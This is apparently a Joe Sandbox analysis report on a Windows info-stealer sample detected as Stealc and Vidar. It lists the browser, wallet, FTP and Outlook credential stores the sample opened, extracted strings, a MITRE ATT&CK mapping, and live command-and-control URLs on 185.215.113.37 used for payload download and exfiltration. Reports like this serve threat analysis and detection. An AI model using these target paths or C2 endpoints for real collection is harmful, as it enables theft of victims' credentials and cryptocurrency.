Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.e

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5948, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 1.2.file.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2380756269.0000000000768000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2149042786.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5948, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5948, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php3	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AAEBAKKJ.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpata	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	AAEBAKKJ.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpCash	file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	AAEBAKKJ.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll&	file.exe, 00000001.00000003.2246239194.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.2380756269.000000000074E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllpData	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllm5	file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll;5	file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php.dll	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpq	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37.com	file.exe, 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	AAEBAKKJ.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpQ5	file.exe, 00000001.00000003.2246239194.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll&	file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2408818094.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.pI5	file.exe, 00000001.00000003.2246239194.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		unknown
http://185.215.113.37j	file.exe, 00000001.00000002.2380756269.000000000074E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	AAEBAKKJ.1.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll_5	file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	KECGDBFCBKFIDHIDHDHI.1.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpY	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllO	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AAEBAKKJ.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllh	file.exe, 00000001.00000003.2246239194.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpA	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	AAEBAKKJ.1.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dlls5y	file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	AAEBAKKJ.1.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllV	file.exe, 00000001.00000002.2380756269.0000000000791000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/7	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllrowser	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpJ:	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllh	file.exe, 00000001.00000002.2380756269.0000000000791000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php%	file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	AAEBAKKJ.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpronCash	file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538237
Start date and time:	2024-10-20 21:15:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 77 Number of non-executed functions: 112
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	L0ad3r.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Loader.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
